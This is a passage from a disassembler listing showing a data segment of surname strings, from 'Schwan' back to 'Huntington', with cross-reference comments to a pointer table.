; DATA XREF: ___:0042E818o aSchwan db 'Schwan',0 ; DATA XREF: ___:0042E814o align 10h aSchuyler db 'Schuyler',0 ; DATA XREF: ___:0042E810o align 4 aSchutte db 'Schutte',0 ; DATA XREF: ___:0042E80Co aSchuman db 'Schuman',0 ; DATA XREF: ___:0042E808o aSchossberger db 'Schossberger',0 ; DATA XREF: ___:0042E804o align 4 aSchmitt db 'Schmitt',0 ; DATA XREF: ___:0042E800o aSchilling db 'Schilling',0 ; DATA XREF: ___:0042E7FCo align 10h aSchifini db 'Schifini',0 ; DATA XREF: ___:0042E7F8o align 4 aSchiano db 'Schiano',0 ; DATA XREF: ___:0042E7F4o aScheiner db 'Scheiner',0 ; DATA XREF: ___:0042E7F0o align 10h aScharlemann db 'Scharlemann',0 ; DATA XREF: ___:0042E7ECo aScharf db 'Scharf',0 ; DATA XREF: ___:0042E7E8o align 4 aScepan db 'Scepan',0 ; DATA XREF: ___:0042E7E4o align 4 aScarponi db 'Scarponi',0 ; DATA XREF: ___:0042E7E0o align 4 aSayied db 'Sayied',0 ; DATA XREF: ___:0042E7DCo align 10h aSawtell db 'Sawtell',0 ; DATA XREF: ___:0042E7D8o aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: ___:0042E7D4o align 4 aSatta db 'Satta',0 ; DATA XREF: ___:0042E7D0o align 10h aSatin db 'Satin',0 ; DATA XREF: ___:0042E7CCo align 4 aSase db 'Sase',0 ; DATA XREF: ___:0042E7C8o align 10h aSartore db 'Sartore',0 ; DATA XREF: ___:0042E7C4o aSarin db 'Sarin',0 ; DATA XREF: ___:0042E7C0o align 10h aSapers db 'Sapers',0 ; DATA XREF: ___:0042E7BCo align 4 aSanna db 'Sanna',0 ; DATA XREF: ___:0042E7B8o align 10h aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: ___:0042E7B4o aSamson db 'Samson',0 ; DATA XREF: ___:0042E7B0o align 4 aSali db 'Sali',0 ; DATA XREF: ___:0042E7ACo align 10h aSahu db 'Sahu',0 ; DATA XREF: ___:0042E7A8o align 4 aSafire db 'Safire',0 ; DATA XREF: ___:0042E7A4o align 10h aSadler db 'Sadler',0 ; DATA XREF: ___:0042E7A0o align 4 aSabatello db 'Sabatello',0 ; DATA XREF: ___:0042E79Co align 4 aRyu db 'Ryu',0 ; DATA XREF: ___:0042E798o aRush db 'Rush',0 ; DATA XREF: ___:0042E794o align 10h aRuescher db 'Ruescher',0 ; DATA XREF: ___:0042E790o align 4 aRuderman db 'Ruderman',0 ; DATA XREF: ___:0042E78Co align 4 aRuan db 'Ruan',0 ; DATA XREF: ___:0042E788o align 10h aRu db 'Ru',0 ; DATA XREF: ___:0042E784o align 4 aRoyal db 'Royal',0 ; DATA XREF: ___:0042E780o align 4 aRow db 'Row',0 ; DATA XREF: ___:0042E77Co aRonen db 'Ronen',0 ; DATA XREF: ___:0042E778o align 4 aRogers db 'Rogers',0 ; DATA XREF: ___:0042E774o align 10h aRoesler db 'Roesler',0 ; DATA XREF: ___:0042E770o aRocha db 'Rocha',0 ; DATA XREF: ___:0042E76Co align 10h aRobinson db 'Robinson',0 ; DATA XREF: ___:0042E768o align 4 aRivera db 'Rivera',0 ; DATA XREF: ___:0042E764o align 4 aRish db 'Rish',0 ; DATA XREF: ___:0042E760o align 4 aRineer db 'Rineer',0 ; DATA XREF: ___:0042E75Co align 4 aRindos db 'Rindos',0 ; DATA XREF: ___:0042E758o align 4 aRielly db 'Rielly',0 ; DATA XREF: ___:0042E754o align 4 aRichmond db 'Richmond',0 ; DATA XREF: ___:0042E750o align 10h aRhea db 'Rhea',0 ; DATA XREF: ___:0042E74Co align 4 aResnik db 'Resnik',0 ; DATA XREF: ___:0042E748o align 10h aRepetto db 'Repetto',0 ; DATA XREF: ___:0042E744o aRenick db 'Renick',0 ; DATA XREF: ___:0042E740o align 10h aRemak db 'Remak',0 ; DATA XREF: ___:0042E73Co align 4 aReinold db 'Reinold',0 ; DATA XREF: ___:0042E738o aCunningham db 'Cunningham',0 ; DATA XREF: ___:0042E734o align 4 aReedquist db 'Reedquist',0 ; DATA XREF: ___:0042E730o align 4 aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: ___:0042E72Co align 4 aRayport db 'Rayport',0 ; DATA XREF: ___:0042E728o aRapple db 'Rapple',0 ; DATA XREF: ___:0042E724o align 4 aRankin db 'Rankin',0 ; DATA XREF: ___:0042E720o align 10h aRangan db 'Rangan',0 ; DATA XREF: ___:0042E71Co align 4 aRaney db 'Raney',0 ; DATA XREF: ___:0042E718o align 10h aRajagopalan db 'Rajagopalan',0 ; DATA XREF: ___:0042E714o aRadeke db 'Radeke',0 ; DATA XREF: ___:0042E710o align 4 aRabkin db 'Rabkin',0 ; DATA XREF: ___:0042E70Co align 4 aRabe db 'Rabe',0 ; DATA XREF: ___:0042E708o align 4 aQuetin db 'Quetin',0 ; DATA XREF: ___:0042E704o align 4 aQuaday db 'Quaday',0 ; DATA XREF: ___:0042E700o align 4 aPynchon db 'Pynchon',0 ; DATA XREF: ___:0042E6FCo aPugh db 'Pugh',0 ; DATA XREF: ___:0042E6F8o align 4 aPuccia db 'Puccia',0 ; DATA XREF: ___:0042E6F4o align 4 aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: ___:0042E6F0o align 4 aProietti db 'Proietti',0 ; DATA XREF: ___:0042E6ECo align 4 aPritz db 'Pritz',0 ; DATA XREF: ___:0042E6E8o align 10h aPritchard db 'Pritchard',0 ; DATA XREF: ___:0042E6E4o align 4 aPrevost db 'Prevost',0 ; DATA XREF: ___:0042E6E0o aPreucel db 'Preucel',0 ; DATA XREF: ___:0042E6DCo aPresper db 'Presper',0 ; DATA XREF: ___:0042E6D8o aPowers db 'Powers',0 ; DATA XREF: ___:0042E6D4o align 4 aPoolman db 'Poolman',0 ; DATA XREF: ___:0042E6D0o aPoma db 'Poma',0 ; DATA XREF: ___:0042E6CCo align 4 aPolitis db 'Politis',0 ; DATA XREF: ___:0042E6C8o aPolanyi db 'Polanyi',0 ; DATA XREF: ___:0042E6C4o aPolak db 'Polak',0 ; DATA XREF: ___:0042E6C0o align 4 aPoirier db 'Poirier',0 ; DATA XREF: ___:0042E6BCo aPointer db 'Pointer',0 ; DATA XREF: ___:0042E6B8o aPoincaire db 'Poincaire',0 ; DATA XREF: ___:0042E6B4o align 10h aPocobene db 'Pocobene',0 ; DATA XREF: ___:0042E6B0o align 4 aPo db 'Po',0 ; DATA XREF: ___:0042E6ACo align 10h aPlous db 'Plous',0 ; DATA XREF: ___:0042E6A8o align 4 aPlasket db 'Plasket',0 ; DATA XREF: ___:0042E6A4o aPlant db 'Plant',0 ; DATA XREF: ___:0042E6A0o align 4 aPlancon db 'Plancon',0 ; DATA XREF: ___:0042E69Co aPinot db 'Pinot',0 ; DATA XREF: ___:0042E698o align 4 aPilbeam db 'Pilbeam',0 ; DATA XREF: ___:0042E694o aPfister db 'Pfister',0 ; DATA XREF: ___:0042E690o aPettit db 'Pettit',0 ; DATA XREF: ___:0042E68Co align 10h aPettibone db 'Pettibone',0 ; DATA XREF: ___:0042E688o align 4 aPetruzello db 'Petruzello',0 ; DATA XREF: ___:0042E684o align 4 aPeters db 'Peters',0 ; DATA XREF: ___:0042E680o align 10h aPerrimon db 'Perrimon',0 ; DATA XREF: ___:0042E67Co align 4 aPerone db 'Perone',0 ; DATA XREF: ___:0042E678o align 4 aPerna db 'Perna',0 ; DATA XREF: ___:0042E674o align 4 aPerlman db 'Perlman',0 ; DATA XREF: ___:0042E670o aPerlak db 'Perlak',0 ; DATA XREF: ___:0042E66Co align 4 aPerko db 'Perko',0 ; DATA XREF: ___:0042E668o align 4 aPereira db 'Pereira',0 ; DATA XREF: ___:0042E664o aPenny db 'Penny',0 ; DATA XREF: ___:0042E660o align 4 aPeishel db 'Peishel',0 ; DATA XREF: ___:0042E65Co aPederson db 'Pederson',0 ; DATA XREF: ___:0042E658o align 4 aPearlberg db 'Pearlberg',0 ; DATA XREF: ___:0042E654o align 4 aPeabody db 'Peabody',0 ; DATA XREF: ___:0042E650o aPaynter db 'Paynter',0 ; DATA XREF: ___:0042E64Co aPawloski db 'Pawloski',0 ; DATA XREF: ___:0042E648o align 10h aPavlon db 'Pavlon',0 ; DATA XREF: ___:0042E644o align 4 aPavetti db 'Pavetti',0 ; DATA XREF: ___:0042E640o aPattullo db 'Pattullo',0 ; DATA XREF: ___:0042E63Co align 4 aPatrick db 'Patrick',0 ; DATA XREF: ___:0042E638o aPatefield db 'Patefield',0 ; DATA XREF: ___:0042E634o align 10h aPascucci db 'Pascucci',0 ; DATA XREF: ___:0042E630o align 4 aPartridge db 'Partridge',0 ; DATA XREF: ___:0042E62Co align 4 aParris db 'Parris',0 ; DATA XREF: ___:0042E628o align 10h aParmeggiani db 'Parmeggiani',0 ; DATA XREF: ___:0042E624o aPaoletti db 'Paoletti',0 ; DATA XREF: ___:0042E620o align 4 aPantilla db 'Pantilla',0 ; DATA XREF: ___:0042E61Co align 4 aPanizzon db 'Panizzon',0 ; DATA XREF: ___:0042E618o align 10h aPanadero db 'Panadero',0 ; DATA XREF: ___:0042E614o align 4 aPalmitesta db 'Palmitesta',0 ; DATA XREF: ___:0042E610o align 4 aPallara db 'Pallara',0 ; DATA XREF: ___:0042E60Co aPalepu db 'Palepu',0 ; DATA XREF: ___:0042E608o align 4 aPalayoor db 'Palayoor',0 ; DATA XREF: ___:0042E604o align 4 aPaine db 'Paine',0 ; DATA XREF: ___:0042E600o align 4 aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: ___:0042E5FCo align 4 aOvid db 'Ovid',0 ; DATA XREF: ___:0042E5F8o align 4 aOuchida db 'Ouchida',0 ; DATA XREF: ___:0042E5F4o aOtten db 'Otten',0 ; DATA XREF: ___:0042E5F0o align 4 aOttaviani db 'Ottaviani',0 ; DATA XREF: ___:0042E5ECo align 10h aOstrowski db 'Ostrowski',0 ; DATA XREF: ___:0042E5E8o align 4 aOspina db 'Ospina',0 ; DATA XREF: ___:0042E5E4o align 4 aOrsi db 'Orsi',0 ; DATA XREF: ___:0042E5E0o align 4 aOrfield db 'Orfield',0 ; DATA XREF: ___:0042E5DCo aOray db 'Oray',0 ; DATA XREF: ___:0042E5D8o align 4 aOpel db 'Opel',0 ; DATA XREF: ___:0042E5D4o align 4 aOMeara db 'O',27h,'meara',0 ; DATA XREF: ___:0042E5D0o aOman db 'Oman',0 ; DATA XREF: ___:0042E5CCo align 4 aOMalley db 'O',27h,'malley',0 ; DATA XREF: ___:0042E5C8o align 10h aOlszewski db 'Olszewski',0 ; DATA XREF: ___:0042E5C4o align 4 aOlson db 'Olson',0 ; DATA XREF: ___:0042E5C0o align 4 aOlsen db 'Olsen',0 ; DATA XREF: ___:0042E5BCo align 4 aOldford db 'Oldford',0 ; DATA XREF: ___:0042E5B8o aOHagan db 'O',27h,'hagan',0 ; DATA XREF: ___:0042E5B4o aOh db 'Oh',0 ; DATA XREF: ___:0042E5B0o align 10h aOgata db 'Ogata',0 ; DATA XREF: ___:0042E5ACo align 4 aOcougne db 'Ocougne',0 ; DATA XREF: ___:0042E5A8o aNuzum db 'Nuzum',0 ; DATA XREF: ___:0042E5A4o align 4 aNotman db 'Notman',0 ; DATA XREF: ___:0042E5A0o align 10h aNitabach db 'Nitabach',0 ; DATA XREF: ___:0042E59Co align 4 aNisenson db 'Nisenson',0 ; DATA XREF: ___:0042E598o align 4 aNickoloff db 'Nickoloff',0 ; DATA XREF: ___:0042E594o align 4 aNickerson db 'Nickerson',0 ; DATA XREF: ___:0042E590o align 10h aNi_0 db 'Ni',0 ; DATA XREF: ___:0042E58Co align 4 aNg db 'Ng',0 ; DATA XREF: ___:0042E588o align 4 aNewlin db 'Newlin',0 ; DATA XREF: ___:0042E584o align 10h aNewfeld db 'Newfeld',0 ; DATA XREF: ___:0042E580o aNeuman db 'Neuman',0 ; DATA XREF: ___:0042E57Co align 10h aNesci db 'Nesci',0 ; DATA XREF: ___:0042E578o align 4 aNenna db 'Nenna',0 ; DATA XREF: ___:0042E574o align 10h aNelson db 'Nelson',0 ; DATA XREF: ___:0042E570o align 4 aNayduch db 'Nayduch',0 ; DATA XREF: ___:0042E56Co aNaviaux db 'Naviaux',0 ; DATA XREF: ___:0042E568o aNardone db 'Nardone',0 ; DATA XREF: ___:0042E564o aNardi db 'Nardi',0 ; DATA XREF: ___:0042E560o align 4 aNapolitano db 'Napolitano',0 ; DATA XREF: ___:0042E55Co align 4 aNaddeo db 'Naddeo',0 ; DATA XREF: ___:0042E558o align 4 aMussachio db 'Mussachio',0 ; DATA XREF: ___:0042E554o align 4 aMumford db 'Mumford',0 ; DATA XREF: ___:0042E550o aMulroy db 'Mulroy',0 ; DATA XREF: ___:0042E54Co align 4 aMulkern db 'Mulkern',0 ; DATA XREF: ___:0042E548o aMugnai db 'Mugnai',0 ; DATA XREF: ___:0042E544o align 4 aMuello db 'Muello',0 ; DATA XREF: ___:0042E540o align 10h aMudarri db 'Mudarri',0 ; DATA XREF: ___:0042E53Co aMotooka db 'Motooka',0 ; DATA XREF: ___:0042E538o aMostafavi db 'Mostafavi',0 ; DATA XREF: ___:0042E534o align 4 aMosler db 'Mosler',0 ; DATA XREF: ___:0042E530o align 4 aMosher db 'Mosher',0 ; DATA XREF: ___:0042E52Co align 4 aMortimer db 'Mortimer',0 ; DATA XREF: ___:0042E528o align 4 aMorrow db 'Morrow',0 ; DATA XREF: ___:0042E524o align 10h aMorrison db 'Morrison',0 ; DATA XREF: ___:0042E520o align 4 aMoreton db 'Moreton',0 ; DATA XREF: ___:0042E51Co aMorani db 'Morani',0 ; DATA XREF: ___:0042E518o align 4 aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: ___:0042E514o align 4 aMontilio db 'Montilio',0 ; DATA XREF: ___:0042E510o align 4 aMonque db 'Monque',0 ; DATA XREF: ___:0042E50Co align 4 aMoiamedi db 'Moiamedi',0 ; DATA XREF: ___:0042E508o align 4 aMohr db 'Mohr',0 ; DATA XREF: ___:0042E504o align 10h aMoeller db 'Moeller',0 ; DATA XREF: ___:0042E500o aModestino db 'Modestino',0 ; DATA XREF: ___:0042E4FCo align 4 aMocroft db 'Mocroft',0 ; DATA XREF: ___:0042E4F8o aMittal db 'Mittal',0 ; DATA XREF: ___:0042E4F4o align 4 aMitropoulos db 'Mitropoulos',0 ; DATA XREF: ___:0042E4F0o aGonzalez db 'Gonzalez',0 ; DATA XREF: ___:0042E4ECo align 4 aMinichiello db 'Minichiello',0 ; DATA XREF: ___:0042E4E8o aMini db 'Mini',0 ; DATA XREF: ___:0042E4E4o align 10h aMinh db 'Minh',0 ; DATA XREF: ___:0042E4E0o align 4 aMills db 'Mills',0 ; DATA XREF: ___:0042E4DCo align 10h aMieher db 'Mieher',0 ; DATA XREF: ___:0042E4D8o align 4 aMiddle db 'Middle',0 ; DATA XREF: ___:0042E4D4o align 10h aMichelman db 'Michelman',0 ; DATA XREF: ___:0042E4D0o align 4 aMeurer db 'Meurer',0 ; DATA XREF: ___:0042E4CCo align 4 aMetropolis db 'Metropolis',0 ; DATA XREF: ___:0042E4C8o align 10h aMetelka db 'Metelka',0 ; DATA XREF: ___:0042E4C4o aMerz db 'Merz',0 ; DATA XREF: ___:0042E4C0o align 10h aMerseth db 'Merseth',0 ; DATA XREF: ___:0042E4BCo aMerminod db 'Merminod',0 ; DATA XREF: ___:0042E4B8o align 4 aMerlani db 'Merlani',0 ; DATA XREF: ___:0042E4B4o aMerikoski db 'Merikoski',0 ; DATA XREF: ___:0042E4B0o align 4 aMenzies db 'Menzies',0 ; DATA XREF: ___:0042E4ACo aMemisoglu db 'Memisoglu',0 ; DATA XREF: ___:0042E4A8o align 4 aMeccariello db 'Meccariello',0 ; DATA XREF: ___:0042E4A4o aMcnulty db 'Mcnulty',0 ; DATA XREF: ___:0042E4A0o aMcnealy db 'Mcnealy',0 ; DATA XREF: ___:0042E49Co aMclaren db 'Mclaren',0 ; DATA XREF: ___:0042E498o aMclane db 'Mclane',0 ; DATA XREF: ___:0042E494o align 4 aMckenna db 'Mckenna',0 ; DATA XREF: ___:0042E490o aMcintosh db 'Mcintosh',0 ; DATA XREF: ___:0042E48Co align 4 aMcilroy db 'McIlroy',0 ; DATA XREF: ___:0042E488o aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: ___:0042E484o align 10h aMcghee db 'Mcghee',0 ; DATA XREF: ___:0042E480o align 4 aMcfadden db 'McFadden',0 ; DATA XREF: ___:0042E47Co align 4 aMcelroy db 'Mcelroy',0 ; DATA XREF: ___:0042E478o aMcdowell db 'Mcdowell',0 ; DATA XREF: ___:0042E474o align 4 aMcclearn db 'Mcclearn',0 ; DATA XREF: ___:0042E470o align 4 aMccall db 'Mccall',0 ; DATA XREF: ___:0042E46Co align 4 aMccaffery db 'Mccaffery',0 ; DATA XREF: ___:0042E468o align 4 aMcbride db 'Mcbride',0 ; DATA XREF: ___:0042E464o aMazziotta db 'Mazziotta',0 ; DATA XREF: ___:0042E460o align 4 aMazzali db 'Mazzali',0 aMay db 'May',0 aMauzy db 'Mauzy',0 align 10h aMattson db 'Mattson',0 aMatsukata db 'Matsukata',0 align 4 aMatarazzo db 'Matarazzo',0 align 10h aMatalka db 'Matalka',0 aMass db 'Mass',0 align 10h aMarubini db 'Marubini',0 align 4 aMarton db 'Marton',0 align 4 aMartochio db 'Martochio',0 align 10h aMartinez db 'Martinez',0 align 4 aMarques db 'Marques',0 aMargetts db 'Margetts',0 align 10h aMargalit db 'Margalit',0 align 4 aMarcus db 'Marcus',0 align 4 aMarchbanks db 'Marchbanks',0 align 10h aMarch db 'March',0 align 4 aMantovan db 'Mantovan',0 align 4 aManganiello db 'Manganiello',0 aMandel db 'Mandel',0 align 4 aManalis db 'Manalis',0 aMalova db 'Malova',0 align 4 aMaller db 'Maller',0 align 10h aMalatesta db 'Malatesta',0 align 4 aMaisano db 'Maisano',0 aMaineHershey db 'Maine-Hershey',0 align 4 aMaier db 'Maier',0 align 4 aMahony db 'Mahony',0 align 4 aMaggio db 'Maggio',0 align 4 aMadigan db 'Madigan',0 aMacy db 'Macy',0 align 4 aMacmillan db 'MacMillan',0 align 4 aMackenney db 'Mackenney',0 align 4 aMacintyre db 'Macintyre',0 align 10h aMaceachern db 'Maceachern',0 align 4 aMacdonald db 'Macdonald',0 align 4 aMaccormac db 'Maccormac',0 align 4 aMa db 'Ma',0 ; DATA XREF: ___:0042E3C4o align 4 aLuzader db 'Luzader',0 ; DATA XREF: ___:0042E3C0o aLutcavage db 'Lutcavage',0 ; DATA XREF: ___:0042E3BCo align 4 aLussier db 'Lussier',0 ; DATA XREF: ___:0042E3B8o aLuoma db 'Luoma',0 ; DATA XREF: ___:0042E3B4o align 4 aLunetta db 'Lunetta',0 ; DATA XREF: ___:0042E3B0o aLuecke db 'Luecke',0 ; DATA XREF: ___:0042E3ACo align 4 aLuczkow db 'Luczkow',0 ; DATA XREF: ___:0042E3A8o aLuciano db 'Luciano',0 ; DATA XREF: ___:0042E3A4o aLucas db 'Lucas',0 ; DATA XREF: ___:0042E3A0o align 4 aLubin db 'Lubin',0 ; DATA XREF: ___:0042E39Co align 4 aLoza db 'Loza',0 ; DATA XREF: ___:0042E398o align 4 aLowenstein db 'Lowenstein',0 ; DATA XREF: ___:0042E394o align 10h aLoveman db 'Loveman',0 ; DATA XREF: ___:0042E390o aLoss db 'Loss',0 ; DATA XREF: ___:0042E38Co align 10h aLongworth db 'Longworth',0 ; DATA XREF: ___:0042E388o align 4 aLocatelli db 'Locatelli',0 ; DATA XREF: ___:0042E384o align 4 aLizardo db 'Lizardo',0 ; DATA XREF: ___:0042E380o aLivolsi db 'Livolsi',0 ; DATA XREF: ___:0042E37Co aLivi db 'Livi',0 ; DATA XREF: ___:0042E378o align 10h aLivernash db 'Livernash',0 ; DATA XREF: ___:0042E374o align 4 aLitvak db 'Litvak',0 ; DATA XREF: ___:0042E370o align 4 aLittle db 'Little',0 ; DATA XREF: ___:0042E36Co align 4 aLipponen db 'Lipponen',0 ; DATA XREF: ___:0042E368o align 4 aLippmann db 'Lippmann',0 ; DATA XREF: ___:0042E364o align 4 aLinzee db 'Linzee',0 ; DATA XREF: ___:0042E360o align 4 aLinehan db 'Linehan',0 ; DATA XREF: ___:0042E35Co aLine db 'Line',0 ; DATA XREF: ___:0042E358o align 4 aLinder db 'Linder',0 ; DATA XREF: ___:0042E354o align 4 aLinda db 'Linda',0 ; DATA XREF: ___:0042E350o align 4 aLinares db 'Linares',0 ; DATA XREF: ___:0042E34Co aLim db 'Lim',0 ; DATA XREF: ___:0042E348o aLightfoot db 'Lightfoot',0 ; DATA XREF: ___:0042E344o align 4 aLight db 'Light',0 ; DATA XREF: ___:0042E340o align 4 aLiem db 'Liem',0 ; DATA XREF: ___:0042E33Co align 4 aLidano db 'Lidano',0 ; DATA XREF: ___:0042E338o align 4 aLiakos db 'Liakos',0 ; DATA XREF: ___:0042E334o align 4 aLessi db 'Lessi',0 ; DATA XREF: ___:0042E330o align 4 aLesser db 'Lesser',0 ; DATA XREF: ___:0042E32Co align 4 aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: ___:0042E328o align 10h aLenard db 'Lenard',0 ; DATA XREF: ___:0042E324o align 4 aLeite db 'Leite',0 ; DATA XREF: ___:0042E320o align 10h aLeclercq db 'Leclercq',0 ; DATA XREF: ___:0042E31Co align 4 aLecce db 'Lecce',0 ; DATA XREF: ___:0042E318o align 4 aLecar db 'Lecar',0 ; DATA XREF: ___:0042E314o align 4 aLawless db 'Lawless',0 ; DATA XREF: ___:0042E310o aLashley db 'Lashley',0 ; DATA XREF: ___:0042E30Co aLaserna db 'Laserna',0 ; DATA XREF: ___:0042E308o aLanzit db 'Lanzit',0 ; DATA XREF: ___:0042E304o align 4 aLantieri db 'Lantieri',0 ; DATA XREF: ___:0042E300o align 4 aLankes db 'Lankes',0 ; DATA XREF: ___:0042E2FCo align 10h aLandes db 'Landes',0 ; DATA XREF: ___:0042E2F8o align 4 aLallemant db 'Lallemant',0 ; DATA XREF: ___:0042E2F4o ; ___:0043294Co align 4 aLaing db 'Laing',0 ; DATA XREF: ___:0042E2F0o align 4 aLafler db 'Lafler',0 ; DATA XREF: ___:0042E2ECo ; ___:off_4327E8o align 4 aLabunka db 'Labunka',0 ; DATA XREF: ___:0042E2E8o aLa db 'La',0 ; DATA XREF: ___:0042E2E4o align 10h aKuwabara db 'Kuwabara',0 ; DATA XREF: ___:0042E2E0o align 4 aKusman db 'Kusman',0 ; DATA XREF: ___:0042E2DCo align 4 aKumar db 'Kumar',0 ; DATA XREF: ___:0042E2D8o align 4 aKuenzli db 'Kuenzli',0 ; DATA XREF: ___:0042E2D4o aKrysiak db 'Krysiak',0 ; DATA XREF: ___:0042E2D0o aKroemer db 'Kroemer',0 ; DATA XREF: ___:0042E2CCo aKraus db 'Kraus',0 ; DATA XREF: ___:0042E2C8o align 4 aKrasney db 'Krasney',0 ; DATA XREF: ___:0042E2C4o aKrailo db 'Krailo',0 ; DATA XREF: ___:0042E2C0o align 4 aKraemer db 'Kraemer',0 ; DATA XREF: ___:0042E2BCo aKovaks db 'Kovaks',0 ; DATA XREF: ___:0042E2B8o align 4 aKotter db 'Kotter',0 ; DATA XREF: ___:0042E2B4o align 4 aKorzybski db 'Korzybski',0 ; DATA XREF: ___:0042E2B0o align 10h aKool db 'Kool',0 ; DATA XREF: ___:0042E2ACo align 4 aKonrad db 'Konrad',0 ; DATA XREF: ___:0042E2A8o align 10h aKoniaris db 'Koniaris',0 ; DATA XREF: ___:0042E2A4o align 4 aKommer db 'Kommer',0 ; DATA XREF: ___:0042E2A0o align 4 aKoivumaki db 'Koivumaki',0 ; DATA XREF: ___:0042E29Co align 10h aKohn db 'Kohn',0 ; DATA XREF: ___:0042E298o align 4 aKoch db 'Koch',0 ; DATA XREF: ___:0042E294o align 10h aKobrick db 'Kobrick',0 ; DATA XREF: ___:0042E290o aKnuff db 'Knuff',0 ; DATA XREF: ___:0042E28Co align 10h aKlint db 'Klint',0 ; DATA XREF: ___:0042E288o align 4 aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: ___:0042E284o aKling db 'Kling',0 ; DATA XREF: ___:0042E280o align 4 aKlemperer db 'Klemperer',0 ; DATA XREF: ___:0042E27Co align 4 aKleinfelder db 'Kleinfelder',0 ; DATA XREF: ___:0042E278o aKleiman db 'Kleiman',0 ; DATA XREF: ___:0042E274o aKleckner db 'Kleckner',0 ; DATA XREF: ___:0042E270o align 4 aKittridge db 'Kittridge',0 ; DATA XREF: ___:0042E26Co align 4 aKirscht db 'Kirscht',0 ; DATA XREF: ___:0042E268o aKippenberger db 'Kippenberger',0 ; DATA XREF: ___:0042E264o align 4 aKinsley db 'Kinsley',0 ; DATA XREF: ___:0042E260o aKindall db 'Kindall',0 ; DATA XREF: ___:0042E25Co aKimura db 'Kimura',0 ; DATA XREF: ___:0042E258o align 4 aKimmett db 'Kimmett',0 ; DATA XREF: ___:0042E254o aKimmel db 'Kimmel',0 ; DATA XREF: ___:0042E250o align 4 aKhong db 'Khong',0 ; DATA XREF: ___:0042E24Co align 4 aKeul db 'Keul',0 ; DATA XREF: ___:0042E248o align 4 aKerry db 'Kerry',0 ; DATA XREF: ___:0042E244o align 4 aKendall db 'Kendall',0 ; DATA XREF: ___:0042E240o aKemsley db 'Kemsley',0 ; DATA XREF: ___:0042E23Co aKempton db 'Kempton',0 ; DATA XREF: ___:0042E238o aKelsey db 'Kelsey',0 ; DATA XREF: ___:0042E234o align 4 aKelker db 'Kelker',0 ; DATA XREF: ___:0042E230o align 4 aKeith db 'Keith',0 ; DATA XREF: ___:0042E22Co align 4 aKeepper db 'Keepper',0 ; DATA XREF: ___:0042E228o aKeenan db 'Keenan',0 ; DATA XREF: ___:0042E224o align 4 aKee db 'Kee',0 ; DATA XREF: ___:0042E220o aKawachi db 'Kawachi',0 ; DATA XREF: ___:0042E21Co aKasten db 'Kasten',0 ; DATA XREF: ___:0042E218o align 10h aKassower db 'Kassower',0 ; DATA XREF: ___:0042E214o align 4 aKarpouzes db 'Karpouzes',0 ; DATA XREF: ___:0042E210o align 4 aKangis db 'Kangis',0 ; DATA XREF: ___:0042E20Co align 10h aKamel db 'Kamel',0 ; DATA XREF: ___:0042E208o align 4 aKalman db 'Kalman',0 ; DATA XREF: ___:0042E204o align 10h aKalinowski db 'Kalinowski',0 ; DATA XREF: ___:0042E200o align 4 aKalil db 'Kalil',0 ; DATA XREF: ___:0042E1FCo align 4 aKaligian db 'Kaligian',0 ; DATA XREF: ___:0042E1F8o align 10h aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: ___:0042E1F4o aKafadar db 'Kafadar',0 ; DATA XREF: ___:0042E1F0o aKaboolian db 'Kaboolian',0 ; DATA XREF: ___:0042E1ECo align 10h aKabbash db 'Kabbash',0 ; DATA XREF: ___:0042E1E8o aJulious db 'Julious',0 ; DATA XREF: ___:0042E1E4o aJuliano db 'Juliano',0 ; DATA XREF: ___:0042E1E0o aJucks db 'Jucks',0 ; DATA XREF: ___:0042E1DCo align 10h aJorgensen db 'Jorgensen',0 ; DATA XREF: ___:0042E1D8o align 4 aJolly db 'Jolly',0 ; DATA XREF: ___:0042E1D4o align 4 aJohns db 'Johns',0 ; DATA XREF: ___:0042E1D0o align 4 aJohannsen db 'Johannsen',0 ; DATA XREF: ___:0042E1CCo align 4 aJohannesson db 'Johannesson',0 ; DATA XREF: ___:0042E1C8o aJewett db 'Jewett',0 ; DATA XREF: ___:0042E1C4o align 4 aJespersen db 'Jespersen',0 ; DATA XREF: ___:0042E1C0o align 4 aJenkins db 'Jenkins',0 ; DATA XREF: ___:0042E1BCo aJellis db 'Jellis',0 ; DATA XREF: ___:0042E1B8o align 4 aJeffers db 'Jeffers',0 ; DATA XREF: ___:0042E1B4o aJay db 'Jay',0 ; DATA XREF: ___:0042E1B0o aJarrell db 'Jarrell',0 ; DATA XREF: ___:0042E1ACo aJarnagin db 'Jarnagin',0 ; DATA XREF: ___:0042E1A8o align 4 aJanjigian db 'Janjigian',0 ; DATA XREF: ___:0042E1A4o align 4 aJamil db 'Jamil',0 ; DATA XREF: ___:0042E1A0o align 4 aJain db 'Jain',0 ; DATA XREF: ___:0042E19Co align 4 aJagoe db 'Jagoe',0 ; DATA XREF: ___:0042E198o align 4 aJagger db 'Jagger',0 ; DATA XREF: ___:0042E194o align 4 aJagers db 'Jagers',0 ; DATA XREF: ___:0042E190o align 4 aJackson db 'Jackson',0 ; DATA XREF: ___:0042E18Co aJacenko db 'Jacenko',0 ; DATA XREF: ___:0042E188o aIyer db 'Iyer',0 ; DATA XREF: ___:0042E184o align 4 aIsserman db 'Isserman',0 ; DATA XREF: ___:0042E180o align 10h aIsbill db 'Isbill',0 ; DATA XREF: ___:0042E17Co align 4 aIsaievych db 'Isaievych',0 ; DATA XREF: ___:0042E178o align 4 aIsaac db 'Isaac',0 ; DATA XREF: ___:0042E174o align 4 aInniss db 'Inniss',0 ; DATA XREF: ___:0042E170o align 4 aInamura db 'Inamura',0 ; DATA XREF: ___:0042E16Co aIgarashi db 'Igarashi',0 ; DATA XREF: ___:0042E168o align 4 aIchikawa db 'Ichikawa',0 ; DATA XREF: ___:0042E164o align 4 aIaquinta db 'Iaquinta',0 ; DATA XREF: ___:0042E160o align 10h aHyde db 'Hyde',0 ; DATA XREF: ___:0042E15Co align 4 aHutchings db 'Hutchings',0 ; DATA XREF: ___:0042E158o align 4 aHurtubise db 'Hurtubise',0 ; DATA XREF: ___:0042E154o align 10h aHupp db 'Hupp',0 ; DATA XREF: ___:0042E150o align 4 aHuntington db 'Huntington',0 ; DATA XREF: 